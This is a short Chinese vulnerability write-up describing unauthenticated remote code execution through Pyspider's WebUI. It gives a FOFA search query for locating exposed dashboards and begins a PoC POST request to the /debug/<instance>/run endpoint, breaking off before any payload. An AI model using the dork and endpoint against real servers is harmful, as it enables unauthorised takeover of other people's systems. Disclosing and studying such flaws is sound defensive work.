0x01 產品簡介

Pyspider是由國人binux編寫的強大的網絡爬蟲系統，它帶有強大的WebUI（Web用戶界面），為用戶提供了可視化的編寫、調試和管理爬蟲的能力。這一特點使得Pyspider在爬蟲框架中脫穎而出，尤其適合那些希望快速上手并高效開發爬蟲的用戶。允許用戶直接在網頁上編寫和調試爬蟲代碼，無需使用傳統的代碼編輯器和命令行工具，極大地提高了開發效率。用戶可以通過WebUI界面實時監控爬蟲的爬取進度、查看爬取結果，并對爬蟲項目進行管理。

0x02 漏洞概述

由于Pyspider WebUI未進行合理的訪問控制，默認允許遠程攻擊者未授權訪問webui界面，且系統內部存在python腳本在線編輯并運行的模塊，導致未經身份驗證的攻擊者可遠程執行python代碼調用系統命令來獲取服務器權限。

0x03 復現環境

FOFA：title="Dashboard - pyspider"

0x04 漏洞復現

PoC

POST /debug/任意實例名/run HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,z